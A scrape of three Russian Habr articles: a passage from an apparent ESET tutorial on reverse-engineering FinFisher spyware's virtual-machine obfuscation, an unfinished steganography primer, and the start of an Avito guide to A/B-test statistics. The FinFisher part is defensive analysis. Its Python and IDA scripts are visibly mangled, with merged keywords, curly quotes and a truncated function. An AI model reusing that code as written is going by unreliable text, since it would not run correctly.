DWORD vm_dispatcher_loop; // адрес vm_dispatcher
DWORD cleanAndVMDispatchFn; // адрес функции, выдающей значения и совершающей переход к vm_dispatcher, пропуская первые несколько команд
DWORD cleanUpDynamicCodeFn; //адрес функции, очищающей vm_instr_ptr и вызывающей cleanAndVMDispatchFn
DWORD jmpLoc1; // адрес позиции для перехода
DWORD jmpLoc2; // адрес следующего vm_opcode – простого исполнения следующей vm_instruction
DWORD Bytecode_start; // адрес начала байткода в разделе данных
DWORD DispatchEBP;
DWORD ImageBase; // адрес программы в памяти
DWORDESP0_flags;//собственный стек (сохраненные флаги vm_code)
DWORDESP1_flags;//аналогично предыдущему
DWORD LoadVOpcodesSectionFn;
vi_params bytecode; // все необходимое для исполнения vm_handler, ниже
DWORD limitForTopOfStack; // вершина стека
};
struct vi_params {
DWORD Virtual_instr_id;
DWORD OpCode; // values 0 – 33 -> сообщает, какой обработчик исполнить
DWORD Arg0; // 4 аргумента dword для vm_handler
DWORD Arg4; // иногда не используется
DWORD Arg8; // иногда не используется
DWORD ArgC; // иногда не используется
};
```
#### 4. Применение виртуальных команд – vm\_handlers
Каждый из *vm\_handler* оперирует одним виртуальным опкодом, то есть на 34 обработчика *vm\_handlers* приходится максимум 34 виртуальных опкода. Исполнение одного *vm\_handler* означает исполнение одной *vm\_instruction*, поэтому для определения того, что выполняет *vm\_instruction*, нам нужно проанализировать соответствующий *vm\_handler*.
После реконструкции *vm\_context* и наименования всех отступов в ebx, ранее показанный vm\_handler становится более удобным для чтения, он показан на Рисунке 9.
В конце данной функции мы замечаем последовательность команд, начинающихся с *vm\_instruction\_pointer*, который увеличивается на 24, то есть на размер структуры *vi\_params* каждой из *vm\_instruction*. Так как эта последовательность повторяется в конце почти каждого *vm\_handler* мы заключаем, что это стандартный завершающий код функции, а само тело *vm\_handler* можно записать просто как:
```
mov [tmp_REG], Arg0
```
Итак, мы только что проанализировали первую команду данной виртуальной машины :-)
*Рисунок 9. Предыдущий vm\_handler после вставки в структуру vm\_context*
Для иллюстрации работы проанализированной команды давайте примем, что заполнение структуры vi\_params выполняется следующим образом:
```
struct vi_params {
DWORD ID_of_virt_instr = любое значение, роли не играет;
DWORD OpCode = 0x0C;
DWORD Arg0 = 0x42;
DWORD Arg4 = 0;
DWORD Arg8 = 0;
DWORD ArgC = 0;
};
```
Из приведенного выше мы видим, что исполняется следующая команда:
```
mov [tmp_REG], 0x42
```
На этом этапе мы уже должны понимать, что выполняет одна из *vm\_instructions*. Совершенные шаги должны служить демонстрацией работы всего интерпретатора.
Однако есть некоторые *vm\_handlers*, которые проанализировать сложнее. Условные переходы этой виртуальной машины труднее понять из-за того, как происходит преобразование флагов.
Как отмечалось ранее, *vm\_dispatcher* запускается с получения нативных EFLAGS (из *vm\_code*) в вершину собственного стека. Таким образом, когда обработчик соответствующего перехода решает, совершить его или нет, он сверяется с EFLAGS в собственном стеке и применяет собственный метод перехода. Рисунок 10 иллюстрирует, как применяется виртуальный обработчик JNP (Jump if no parity) через проверку признака четности.
*Рисунок 10. Скриншот JNP\_handler*
Для остальных виртуальных условных переходов может быть обязательной проверка нескольких признаков – например, результат перехода виртуализированного JBE (Jump if below or equal) зависит от обоих значений, флага переноса и флага нуля, но принцип тот же.
После анализа всех 34 *vm\_handlers* в виртуальной машине FinFisher мы можем описать ее виртуальные команды следующим образом:
*Рисунок 11. vm\_table со всеми 34 vm\_handlers*
Обратите внимание, что ключевое слово «*tmp\_REG*» относится к виртуальному регистру, используемому виртуальной машиной, временному регистру в структуре *vm\_contex*t, в то время как “*reg*” относится к собственному регистру процессора, т.е. eax.
Давайте посмотрим на проанализированные команды виртуальной машины. Например, *case\_3\_vm\_jcc* — это общий обработчик команды перехода, который может исполнить любую команду перехода процессора, условную и безусловную.
Очевидно, что эта виртуальная машина не виртуализирует каждую аппаратную команду, вот где нам будут полезны команды из списка выше (case 4 и case 6).
Эти два *vm\_handler* применяются для исполнения кода напрямую. Все, что они делают — это чтение опкода команды процессора в качестве аргумента и исполнение команды.
Еще нужно отметить, что *vm\_registers* всегда находятся в вершине собственного стека, в то время как идентификатор исполняемого регистра хранится в последнем байте arg0 виртуальной команды. Для получения доступа к соответствующему виртуальному регистру можно использовать следующий код:
```
def resolve_reg(reg_pos):
stack_regs = [‘eax’, ‘ecx’, ‘edx’, ‘ebx’, ‘esp’, ‘ebp’, ‘esi’, ‘edi’]
stack_regs.reverse()
return stack_regs[reg_pos]
reg_pos = 7 – (state[arg0] & 0x000000FF)
reg = resolve_reg(reg_pos)
```
#### 5. Написание собственного дизассемблера
После корректного анализа всех *vm\_instructions* остается еще один шаг, который необходимо сделать до начала анализа образца – нам необходимо написать собственный дизассемблер для байткода (парсить его вручную будет проблематично по причине его размера).
Приложив усилия и написав более надежный дизассемблер, мы сэкономим себе силы впоследствии, когда виртуальная машина FinFisher изменится и обновится.
Начнем с *vm\_handler 0x0C*, который исполняет следующую команду:
```
mov [tmp_REG], reg
```
Эта команда принимает точно один аргумент – идентификатор собственного регистра, используемого в качестве reg. Этот идентификатор должен отображаться с именем собственного регистра, например, используя команду `resolve_reg` в примере выше.
Чтобы дизассемблировать этот *vm\_handler* можно использовать следующий код:
```
def vm_0C(state, vi_params):
global instr
reg_pos = 7 – (vi_arams[arg0]
& 0x000000FF)
tmpinstr = “mov [tmp_REG],
%s” % resolve_reg(reg_pos)
instr.append(tmpinstr)
return
```
Опять же, *vm\_handlers* для переходов сложнее понять. В случае переходов компоненты *vm\_context.vi\_params.Arg0* и *vm\_context. vi\_params.Arg1* хранят отступ, на который происходит переход. Этот “отступ перехода” на самом деле является отступом в байткоде. Чтобы пропарсить обработчики перехода нам нужно переставить маркер на область перехода. Нам подойдет такой код:
```
def computeLoc1(pos, vi_params):
global instr
jmp_offset = (vi_params[arg0]
& 0x00FFFFFF) + (vi_params[arg1]
& 0xFF000000)
if jmp_offset < 0x7FFFFFFF:
jmp_offset /= 0x18 # their
increment by 0x18 is my
increment by 1
else:
jmp_offset = int((-
0x100000000 + jmp_offset)
/ 0x18)
return pos+jmp_offset
```
Наконец, есть *vm\_handler*, отвечающий за исполнение нативных команд с аргументами, которым требуется особое обращение. Для этого нам нужен дизассемблер для собственных команд x86, например, инструмент Distorm из открытого доступа.
Длина команды хранится в vm\_context.vi\_params.OpCode & 0x0000FF00. Опкод собственной команды для исполнения хранится в аргументах. Чтобы пропарсить *vm\_handler*, исполняющий родной код, можно использовать код ниже:
```
def vm_04(vi_params, pos):
global instr
nBytes = vi_params[opCode] & 0x0000FF00
dyn_instr = pack(“
```
К этому моменту мы написали все функции на Python, чтобы разобрать каждый из *vm\_handler*-ов. Все они, включая код, отвечающий за разметку областей для перехода, определение ID виртуальной команды после вызова, и некоторые другие, необходимы для написания собственного дизассемблера.
После всего этого его можно прогнать по байткоду.
*Рисунок 12. Часть нераспакованного и дешифрованного байткода FinFisher*
К примеру, из байткода, приведенного в рисунке 12, мы можем получить следующий вывод:
```
mov tmp_REG, 0
add tmp_REG, EBP
add tmp_REG, 0x10
mov tmp_REG, [tmp_REG]
push tmp_REG
mov tmp_REG, EAX
push tmp_REG
```
#### 6. Понимание применения данной виртуальной машины
После анализа всех виртуальных обработчиков и построения собственного кастомного дизассемблера мы можем снова взглянуть на виртуальные команды, чтобы понять основную идею их создания.
Сначала мы должны понять, что защита виртуализацией была применена на уровне ассемблера. Авторы преобразовали собственные команды в свои, неким образом усложненные, которые исполняются специальным виртуальным ЦП. Для этого используется временный «регистр» (*tmp\_REG*).
Мы можем взглянуть на несколько примеров для того, чтобы понять, как работает это преобразование. Возьмем виртуальную команду из предыдущего примера –
```
mov tmp_REG, EAX
push tmp_REG
```
– она была преобразована из собственной команды `push eax`. Если применена виртуализация, используется временный регистр во временном шаге для изменения команды в нечто более сложное.
Возьмем другой пример:
```
mov tmp_REG, 0
add tmp_REG, EBP
add tmp_REG, 0x10
mov tmp_REG, [tmp_REG]
push tmp_REG
```
Вот собственные команды, которые были преобразованы в эти виртуализированные команды (где reg — один из собственных регистров):
```
mov reg, [ebp+0x10]
push reg
```
Однако это не единственный способ виртуализировать набор команд. Есть другие применения виртуальной машины для защиты, с другими подходами. Например, существует коммерческая реализация защиты через виртуальную машину, которая использует математическую логику NOR (когда оба ввода отрицательны), с несколькими временными регистрами вместо одного.
В свою очередь, FinFisher не пошел так далеко и не преобразовал все собственные команды. В то время как многие из них виртуализованы, некоторые не могут быть таковыми – это математические команды, такие как `add`, `imul` и `div`. Если эти команды оказываются в оригинальном бинарном файле, *vm\_handler*, отвечающий за исполнение собственных команд вызывается для их обработки в защищенном файле. Единственное происходящее изменение состоит в том, что EFLAGS и собственные регистры извлекаются прямо перед исполнением собственной команды, а затем снимаются после завершения исполнения. Так возможно избежать виртуализации каждой собственной команды.
Существенным недостатком защиты бинарников с помощью виртуальной машины заключается в отрицательном воздействии на производительность. В случае с виртуальной машиной FinFisher мы приблизительно оцениваем скорость ее работы как более чем в сто раз медленную, чем в случае с внутренним кодом, на основании подсчета количества команд, исполняемых для обработки каждой из *vm\_instruction* (*vm\_dispatcher* + *vm\_handler*).
Поэтому есть смысл защищать только выборочные части бинарника – и именно так поступают в тех образцах FinFisher, которые мы анализировали.
Более того, как уже говорилось, некоторые из обработчиков виртуальной машины могут напрямую вызывать собственные функции. В результате пользователи защиты виртуальной машиной (то есть авторы FinFisher) могут на стадии ассемблера решить, какие функции защитить при ее помощи. Для отмеченных функций их команды будут виртуализированы; для остальных оригинальные функции будут вызваны соответствующим виртуальным обработчиком. Таким образом, исполнение кода может быть менее затратным по времени, в то время как наиболее интересные части бинарного файла остаются защищенными (рисунок 13).
*Рисунок 13. Схема, представляющая всю защиту FinFisher, и то, как процесс может совершать переход за пределы виртуальной машины*
#### 7. Автоматизация процесса дизассемблирования для большего количества образцов FinFisher
Помимо длины байткода, который нашему парсеру приходится обрабатывать, необходимо помнить, что в некоторых образцах FinFisher есть определенное перемешивание. И хотя для защиты используется одна и та же виртуальная машина, определение соответствия между виртуальными опкодами и *vm\_handlers* не всегда совпадает. Они могут быть (и такое случается) рандомно спарены, и эти пары отличаются для разных образцов FinFisher, анализируемых нами. Это означает, что *vm\_handler* для виртуального опкода 0x5 в этом образце обрабатывает команду `mov [tmp_REG], arg0`, а в другом защищенном образце он может быть назначен другому виртуальному опкоду.
Чтобы решить эту проблему, мы можем использовать сигнатуру для каждой из анализируемых *vm\_handlers*. Скрипт для IDA Python в приложении А может быть применен после получения диаграммы из рисунка 7 (особенно важно убрать обфусцирование переходов jz/jnz, как это описано в первой секции данного руководства), чтобы дать имена обработчикам на основании их сигнатур. (С небольшими доработками этот скрипт можно также использовать и для восстановления сигнатур в случае, если *vm\_handlers* будут изменены в обновленной версии FinFisher.)
Как указывалось выше, первый *vm\_handler* в образце FinFisher, который вы встретите во время анализа, может отличаться от JL, который мы привели на примере образца, но скрипт определит все *vm\_handlers* верным образом.
#### 8. Компиляция дизассемблированного кода без виртуальной машины
После дизассемблирования и нескольких изменений код возможно скомпилировать. Мы будем использовать виртуальные команды как собственные. В результате мы получим чистый бинарный код без защиты.
Большинство команд *vm\_instructions* можно скомпилировать простым копированием, так как на выходе дизассемблера, в основном, команды выглядят как нативные. Но некоторые участки нужно особенным образом доработать:
• tmp\_REG – так как мы определили tmp\_REG как глобальную переменную, нам нужно внести изменения в код для тех случаев, когда разыменовывается адрес, хранимый в ней. (Так как разыменовывание адреса, находящегося в глобальной переменной, невозможно для набора команд x86.). Например, виртуальная машина содержит виртуальную команду `mov tmp_REG, [tmp_REG]` которую необходимо переписать следующим образом:
```
push eax
mov eax, tmp_REG
mov eax, [eax]
mov tmp_REG, eax
pop eax
```
• Флаги – виртуальные команды не меняют флаги, а собственные математические команды делают это. Поэтому нам важно, чтобы виртуальные математические команды в девиртуализированном бинарнике не делали этого тоже, что означает необходимость сохранения флагов перед исполнением команд и их восстановления после завершения исполнения.
• Переходы и вызовы – нам необходимо переместить маркер на область виртуальной команды (перехода) или функции (вызова).
• Вызовы АPI функции – в большинстве случаев они загружаются динамически, в остальных случаях обращение к ним происходит из IAT (таблицы импорта адресов) бинарного файла, поэтому их нужно обрабатывать соответственно.
• Глобальные переменные, собственный код – некоторые глобальные переменные необходимо хранить в девиртуализированном бинарнике. Также, в дроппере FinFisher есть функция переключения между x64 и x86, которая выполняется в режиме процессора (на самом деле это выполняется только при помощи команды `retf`). Все это необходимо сохранить в процессе компиляции.
В зависимости от результата, на выходе вашего дизассемблера вам может еще понадобиться внести еще пару изменений для получения чисто собственных команд, которые можно будет скомпилировать. Затем вам нужно будет скомпилировать код при помощи предпочитаемого вами компилятора в бинарник без виртуальной машины.
Вывод
-----
В данном руководстве мы описали, как FinFisher использует два способа защиты основного доставляемого компонента. Цель защиты – не противодействие обнаружению антивирусом, а сокрытие файлов конфигурации и новых техник, примененных в шпионском ПО, путем создания затруднений для реверс-инжиниринга. Поскольку на сегодняшний день другого детального анализа обфусцированного шпионского ПО FinFisher опубликовано не было, задачу разработчиков данного механизма защиты до текущего момента можно было считать успешно выполненной.
Мы показали, как уровень защиты, противостоящей дизассемблированию, можно преодолеть автоматическим методом, и как эффективно проанализировать виртуальную машину.
Надеемся, что руководство поможет специалистам по реверс-инжинирингу в анализе защищенных виртуальной машиной образцов FinFisher, а также обеспечит лучшее понимание специфики защиты с помощью виртуальной машины в целом.
Приложение A
------------
#### Скрипт IDA Python для именования обработчиков vm\_handlers в FinFisher
Этот скрипт также доступен в [репозитории ESET на GitHub](https://github.com/eset/malware-research/blob/master/finfisher/ida_finfisher_vm.py).
```
import sys
SIGS={‘8d4b408b432c8b0a90800f95c2a980000f95c03ac275ff631c’:‘case_0_JL _loc1’,‘8d4b408b432c8b0a9400074ff631c’:‘case_1_JNP_loc1’,‘8d4b408b432c 8b0a94000075a90800f95c2a980000f95c03ac275ff631c’:‘case_2_JLE_loc1’,‘8d4 b408b7b508b432c83e02f8dbc38311812b5c787cfe7ed4ae92f8b066c787d3e7e 4af9b8e80000588d80’ : ‘case_3_vm_jcc’, ‘8b7b508b432c83e02f3f85766c77ac6668 137316783c728d7340fb64b3df3a4c67e98037818b43c89471c64756c80775af83318588b6 32c’ : ‘case_4_exec_native_code’, ‘8d4b408b98b438898833188b43c8b632c’ : ‘c ase_5_mov_tmp_REGref_arg0’, ‘8b7b508b432c83e02f3f85766c77ac6668137316783c7 28d7340fb64b3df3a4c67e98037818b43c89471c64756c80775af83318588b632c’ : ‘cas e_6_exec_native_code’,‘8d4b408b432c8b0a94000075ff631c’:‘case_7_JZ_loc1’ , ‘8d4b408b432c8b0a94000075a90800f95c2a980000f95c03ac275ff6318’ : ‘case_8_ JG_loc1’,‘8d43408b089438833188b43c8b632c’:‘case_9_mov_tmp_REG_arg0’,‘3 3c9894b8833188b632c8b43c’ : ‘case_A_zero_tmp_REG’, ‘8d4b408b432c8b0a980000 75ff631c’:‘case_B_JS_loc1’,‘8d4b40fb69b870002bc18b4b2c8b548148b4b889118
33188b43c8b632c’ : ‘case_C_mov_tmp_REGDeref_tmp_REG’, ‘8d4b40fb69b870002bc 18b4b2c8b4481489438833188b43c8b632c’ : ‘case_D_mov_tmp_REG_tmp_REG’, ‘8d4b 408b432c8b0a9100075ff631c’:‘case_E_JB_loc1’,‘8d4b408b432c8b0a9100075a94 000075ff631c’:‘case_F_JBE_loc1’,‘8d4b408b432c8b0a94000074ff631c’:‘cas e_10_JNZ_loc1’,‘8d4b408b432c8b0a9080074ff631c’:‘case_11_JNO_loc1’,‘8b7 b50834350308d4b408b414343285766c773f50668137a231c6472c280772aa8d57d83c7389 1783ef3c7477a300080777cb83c7889783ef8c647cf28077c3183c7dc67688b383c0188947 183c7566c7777fe668137176283c72c672d803745895f183c75c67848037df478b4314c674 08037288947183c75c67928037515f8b632c’ : ‘case_12_vm_call’, ‘8d4b40b870002b 18b532c8b4482489438833188b43c8b632c’ : ‘case_13_mov_tmp_REG_tmp_REG_notRly ’,‘8d4b408b432c8b0a9400075ff631c’:‘case_14_JP_loc1’,‘8d4b40fb69b870002 bc18b4b2c8b5388954814833188b43c8b632c’ : ‘case_15_mov_tmp_REG_tmp_REG’, ‘8 d4b408b432c8b0a9080075ff631c’:‘case_16_JO_loc1’,‘8d4b408b432c8b0a90800f
95c2a980000f95c03ac274ff631c’:‘case_17_JGE_loc1’,‘8b4388b089438833188b4 3c8b632c’ : ‘case_18_deref_tmp_REG’, ‘8d4b408b4388b9d3e089438833188b43c8b6 32c’ : ‘case_19_shl_tmp_REG_arg0l’, ‘8d4b408b432c8b0a98000074ff631c’ : ‘ca se_1A_JNS_loc1’,‘8d4b408b432c8b0a9100074ff631c’:‘case_1B_JNB_loc1’,‘8b 7b2c8b732c83ef4b924000fcf3a4836b2c48b4b2c8b438894124833188b43c8b632c’ : ‘c ase_1C_push_tmp_REG’, ‘8d4b408b432c8b0a94000075a9100075ff6318’ : ‘case_1D_ JA_loc1’,‘8d4b40b870002b18b532c8b448241438833188b43c8b632c’:‘case_1E_ad d_stack_val_to_tmp_REG’, ‘8b7b508343503066c77ac3766813731565783c728d4b40c6 72e803746fb6433d3c783c058947183c758d714fb64b3df3a45ac671280377a8b383c01889 47183c7566c777f306681371fac83c72c671f803777895f183c75c677080372b47c6798037 618b4b14894f183c75c67778037b48b632c8d12’ : ‘case_1F_vm_jmp’, ‘8d4b408b914b 8833188b43c8b632c’ : ‘case_20_add_arg0_to_tmp_REG’, ‘8d4b408b98b4388918331 88b632c8b43c’ : ‘case_21_mov_tmp_REG_to_arg0Dereferenced’ }
SWITCH = 0 # addr of jmp dword ptr [eax+ecx*4] (jump to vm_handlers) SWITCH_SIZE=34
sig = []
def append_bytes(instr, addr):
for j in range(instr.size):
sig.append(Byte(addr))
addr += 1
return addr
defmakeSigName(sig_name,vm_handler):
print “naming %x as %s” % (vm_handler, sig_name)
MakeName(vm_handler,sig_name) return
if SWITCH == 0:
print “First specify address of switch jump - jump to vm_handlers!”
sys.exit(1)
foriinrange(SWITCH_SIZE): addr = Dword(SWITCH+i*4) faddr = addr
sig = []
while 1:
instr = DecodeInstruction(addr)
if instr.get_canon_mnem() == “jmp” and (Byte(addr) == 0xeb or Byte
(addr) == 0xe9):
addr = instr.Op1.addr
continue
if instr.get_canon_mnem() == “jmp” and Byte(addr) == 0xff and Byte
(addr+1) == 0x63 and (Byte(addr+2) == 0x18 or Byte(addr+2) == 0x1C):
addr = append_bytes(instr, addr)
break
if instr.get_canon_mnem() == “jmp” and Byte(addr) == 0xff:
break
if instr.get_canon_mnem() == “jz”:
sig.append(Byte(addr))
addr += instr.size
continue
if instr.get_canon_mnem() == “jnz”:
sig.append(Byte(addr))
addr += instr.size
continue
if instr.get_canon_mnem() == “nop”:
addr += 1
continue
addr = append_bytes(instr, addr)
sig_str = “”.join([hex(l)[2:] for l in sig])
hsig = ‘’.join(map(chr, sig)).encode(“hex”)
for key, value in SIGS.iteritems():
if len(key) > len(sig_str): ifkey.find(sig_str)>=0: makeSigName(value,faddr)
else: ifsig_str.find(key)>=0: makeSigName(value,faddr)
``` | https://habr.com/ru/post/354830/ | null | ru | null |
# Можно так просто взять и скрыть информацию
Каждый из читателей наверняка много раз видел фильмы, где супергерой / суперзлодей передавал зашифрованную информацию. Мы привыкли к слову «шифр», «шифрование» и любая тайная передача информации сейчас ассоциируетсяименно с этими словами. Хотя на самом деле, это далеко не так. Безопасная передача информации далеко не ограничивается криптографией (шифрования), а есть еще много методов и средств для этого.
В частности, автор этого материала хотел бы затронуть стеганографию. Стеганография — это сокрытие самого факта передачи информации.
**Чем это принципиально отличается от криптографии.**
В случае с криптографическими преобразованиями факт сокрытия информации очевиден. То есть, когда А передает информацию в Б, то В знает, что информация секретная, но не имеет (в лучшем случае) алгоритмов ее расшифровки, если она попадет ему в руки.
Стеганографические преобразования сообщения позволяют скрыть от злоумышленника сам факт передачи секретной информации. То есть, В, возможно и заметит обмен информацией между А и Б, но не усмотрит в ней ничего ценного.
**Чем стеганографический метод лучше криптографического.**
Сокрытие факта передачи информации уменьшает риски того, что секретная или конфиденциальная информация попадет к злоумышленнику, а даже если и попадет, он может не увидеть в ней ничего ценного (почему — объясним ниже).
Это только в фильмах секретная информация героя обеспечена непробиваемым шифром. В реальной жизни, злоумышленник отправит к герою двух здоровенных Г. и Д., которые после очередного поломанного сустава все-таки узнают ключ для дешифровки.
В случае с стегосообщением, злоумышленник даже не будет мотивирован для таких действий, потому что стегосообщение не привлекает к себе внимания.
**Итак, как это работает?**
Главный принцип стеганографии состоит в том, чтобы скрыть конфенденциальную информацию внутри открытой, как правило вседоступной информации. То есть один тип информации (текст, изображения, аудио итд) помещается внутрь другой информации (текст, изображения, аудио итд). Таким образом контейнер (информация, которая таит в себе стегосообщение) выглядит более чем безобидно.
Самым распространенным из методов, который читатель может встретить в Интернете это сокрытия текста в изображении.
Прямо в этом материалы мы напишем программу, которая будет скрывать небольшое сообщение в изображении. Будем писать на PHP, таким образом у нас будет Web-программа.
Для начала напишем html страницу без лишнего дизайна (это не урок веб-дизайна все же). Следовательно файл index.php:
```
Адрес:
Код:
``` | https://habr.com/ru/post/166583/ | null | ru | null |
# Как улучшить ваши A/B-тесты: лайфхаки аналитиков Авито. Часть 1
Всем привет! Я Дмитрий Лунин, работаю аналитиком в команде ценообразования Авито. Наш юнит отвечает за все платные услуги площадки. К примеру, [услуги продвижения](https://www.avito.ru/performance) или [платные размещения](https://support.avito.ru/articles/215312887) для профессиональных продавцов. Наша основная задача — сделать цены на них оптимальными.
Мы не только пытаемся максимизировать выручку Авито, но и думаем про счастье пользователей. Если установить слишком большие цены, то пользователи возмутятся и начнут уходить с площадки, а если сделать цены слишком маленькими, то мы недополучим часть оптимальной выручки. Низкие цены также увеличивают количество «спамовых» объявлений, которые портят поисковую выдачу пользователям. Поэтому нам очень важно уметь принимать математически обоснованные решения — любая наша ошибка напрямую отразится на выручке и имидже компании.
Одним из инструментов для решения наших задач является A/B-тестирование.
Это статья для вас, если хоть что-то из перечисленного далее вас заинтересовало:
* Вы очень часто получаете не статистически значимые результаты в A/B-тестах, и вас это не устраивает. Вы хотите как-то изменить процедуру проведения и анализа A/B-тестов, чтобы начать детектировать больше статистически значимых результатов.
Для вас я расскажу про CUPED, про бутстрап-критерии для тестирования более чувствительных гипотез, про стратификацию, и про очень простой метод деления выборок на тест и контроль, который позволит вам значительно улучшить результаты будущих A/B-тестов. А ещё продемонстрирую результаты сравнения всех этих методов на наших данных.
* Вы не получили статистически значимый результат и не знаете, что делать, ведь он ни о чём не говорит.
Я покажу, что это не так, и на самом деле вы можете получить некоторые инсайты даже из таких данных.
* Чтобы сделать тест более устойчивым к выбросам, вы используете критерий Манна-Уитни, логарифмирование метрики или просто выкидываете выбросы.
Остановитесь! Я расскажу, к чему это может привести. А ещё поделюсь корректным методом борьбы с выбросами.
* Вы задумывались, корректно ли работают статистические критерии, которые вы используете для анализа A/B-тестов. Или, к примеру, собираетесь начать использовать новый метод для анализа экспериментов, но не уверены в его корректности.
Я поделюсь, как проверить ваш метод, попутно доказав корректность всех методов, описанных в статье. А также развею миф, что T-test можно использовать только для выборок из нормального распределения.
* Вы хотели бы отдавать стейкходерам более интерпретируемые результаты A/B-тестов. Не просто фразу: «выручка статистически значимо стала лучше, чем была», а ещё и численные значения плана +100±10 ₽.
Но даже такой результат не самый понятный и интерпретируемый: вы не можете сказать, 100 рублей — это много или мало для компании. Я расскажу, как решить эту проблему и сделать результаты эксперимента наиболее наглядными.
И в качестве последней плюшки: практически все описанные в статье методы будут иметь реализацию на Python. Если вы захотите использовать их у себя в компании, то у вас будет готовый стартовый пример.
Материала очень много, поэтому я разделил статью на две части. Большинство пунктов из списка выше будут затронуты в первом материале. [Во второй части](https://habr.com/ru/company/avito/blog/571096/) сосредоточимся на увеличении мощности ваших A/B–тестов.
В первой части статьи рассмотрим:
1. [Гипотезы, которые мы проверяем в A/B-тестах.](#hypotheses)
2. [Критерий T-test и как провалидировать, что вы можете использовать его или любой критерий на ваших данных.](#t-test)
3. [О чём говорят серые метрики.](#gray)
4. [Как работать с выбросами в A/B-тестах.](#outliers-in-data)
Терминология
------------
Иногда я буду использовать нашу терминологию, связанную с A/B-тестами. Чтобы она была вам понятна, приведу основные понятия. Не все они будут в статье, но их полезно знать:
Статистически значимый результат — результат, который статистически значимо лучше 0.
Прокрас теста — результат эксперимента статистически значимо отличается от 0, и у вас есть какой-то эффект.
Зелёный тест — метрика в A/B-тесте статистически значимо стала лучше.
Красный тест — метрика в A/B-тесте статистически значимо стала хуже.
Серый тест — результат A/B-теста не статистически значим.
Тритмент — фича или предложение, чьё воздействие на пользователей вы проверяете в A/B-тесте.
MDE — [минимальный детектируемый эффект](https://help.optimizely.com/Ideate_and_Hypothesize/Use_minimum_detectable_effect_(MDE)_when_designing_an_experiment#:~:text=Minimum%20detectable%20effect%20(MDE)%20is,Baseline%20conversion%20rate). Размер, который должен иметь истинный эффект от тритмента, чтобы эксперимент его обнаружил с заданной долей уверенности (мощностью). Чем меньше MDE, тем лучше.
Мощность критерия — вероятность критерия задетектировать эффект, если он действительно есть. Чем больше мощность критерия, тем он круче.
Предпериод — период до начала эксперимента.
Какие гипотезы мы проверяем в A/B-тестах
----------------------------------------
Давайте поговорим о том, что мы вообще хотим получить от A/B-теста: какие гипотезы проверяем и как лучше преподнести результаты стейкхолдерам, чтобы они были более понятными и интерпретируемыми. Это будет та основа, на которой будет строиться материал всех последующих разделов статьи.
#### Абсолютная постановка в A/B-тестах
Начнём с азов A/B-тестов: что мы вообще тестируем с математической точки зрения.
* H\_0 — нулевая гипотеза в A/B-тестировании, которую, в основном, мы хотим отвергнуть. Чаще всего эта гипотеза отвечает за то, что эффекта в A/B-тесте нет.
* H\_1 — альтернативная гипотеза в A/B-тестировании, которую, наоборот, мы хотим подтвердить. Эта гипотеза отвечает за то, что эффект в A/B-тесте есть.
* T — тестовая выборка. Одно значение в выборке — значение целевой метрики у пользователя в тесте. Например, количество просмотров нашего сайта или суммарная выручка от пользователя.
* C — контрольная выборка. —//— в контроле.
* EC — математическое ожидание в контроле.
* ET — математическое ожидание в тесте.
* Черта над T и С означает среднее этой метрики на пользователях в тесте и в контроле.
Допустим, мы тестируем рост выручки от внедрения новой фичи. Факт существования эффекта доказывается от противного.
Пусть тестируемое изменение никак не влияет на пользователей. Но по результатам мы получили +10М рублей, насколько такое возможно? Чтобы это понять, посчитаем вероятность такого или большего прироста в предположении, что эффекта нет. Эта вероятность называется p-value. Если вероятность (или p-value) мала, то наше изначальное предположение было неверным. А значит, эффект от тестируемой фичи есть.
Для отвержения нулевой гипотезы нам достаточно, чтобы p-value критерия было меньше некоторого α. Но оно плохо интерпретируемо, поэтому вместо него можно построить доверительный интервал для эффекта. Тогда гипотеза об отсутствии эффекта отвергается ⟺ 0 не лежит в доверительном интервале. Например, доверительный интервал для эффекта 10±5 эквивалентен тому, что эффект всё же есть, а если бы результат был 10±15, то эффект не обнаружен.
В наших A/B-тестах мы всегда строим доверительные интервалы: так результаты нагляднее для стейкхолдеров, нежели какие-то p-value, которые можно неправильно понять. Да и самим в таком виде проще анализировать результаты.
К примеру, наш A/B-тест привёл к росту выручки. Какой результат вы захотели бы отдать заказчику, да и сами проанализировать?
* Мы получили 10М рублей, p-value=0.01, прирост выручки статистически значим.
Или:
* Мы получили 10±5М рублей.
Второй результат будет понятней и привлекательней для заказчика и для вас.
А теперь давайте посмотрим: 10М рублей — это большой прирост или нет?
* Ранее выручка была 1000М рублей, а сейчас 1010М рублей. В таком случае мы не очень-то и приросли в деньгах.
* В другом случае выручка была 20М рублей, а стала 30М. В таком случае это офигенный результат!
Абсолютный результат в обоих случаях один и тот же, но в реальности они имеют совершенно разный вес. Поэтому я предлагаю вместе с абсолютными числами смотреть и относительный прирост. Вместо «мы получили 10±5М рублей» говорить: по результатам теста «мы получили +20±10% (10М рублей)». В таком виде результаты становятся понятны и интерпретируемы для любого человека.
Ещё один плюс относительных метрик: результаты можно сравнивать в различных разрезах. Допустим, вы провели A/B-тест с выдачей скидок пользователям в Москве и в Петербурге. Получилось следующее:
* В Москве прирост выручки +10±1М рублей.
* В Петербурге прирост выручки +1±0.3М рублей.
Значит ли это, что акция в Москве успешнее, чем в Петербурге? Вообще-то не факт, посмотрим на относительный прирост денег:
* В Москве прирост выручки +20±2% (10М рублей).
* В Петербурге прирост выручки +50±15% (1М рублей).
Результаты-то получились полностью противоположными. Если мы смотрим на относительные метрики, то лучше понимаем структуру данных, а значит, менее вероятно совершим ошибку при анализе результатов.
**Итог:**
* При анализе A/B-тестов считайте не только p-value, но и доверительные интервалы с численными оценками эффекта.
* Считайте не только абсолютные метрики, но и относительные.
Выполнив эти два шага, вы сильно повысите наглядность и интерпретируемость результатов.
#### Относительная постановка в A/B-тестах
Посмотрим, как можно поменять проверяемую гипотезу в A/B-тестировании, чтобы сразу считать относительный эффект и строить для него доверительный интервал. Предлагаются такие гипотезы:
С точки зрения здравого смысла здесь всё корректно. Мы берём математическое ожидание разницы средних в двух группах и смотрим, какую часть это изменение составляет от среднего в контроле. Этот результат и будет той метрикой, которую я предлагаю считать в относительных A/B-тестах. Далее я покажу, как исправить формулы в критериях, чтобы научиться правильно строить в таком случае доверительные интервалы и считать p-value.
Теперь, когда мы разобрались с тестируемыми гипотезами, я предлагаю перейти к критерию, которым мы будем их проверять.
T-test
------
T-test — самый первый метод, который приходит в голову при анализе A/B-тестов. Посмотрим на основные формулы, из которых выводится критерий:
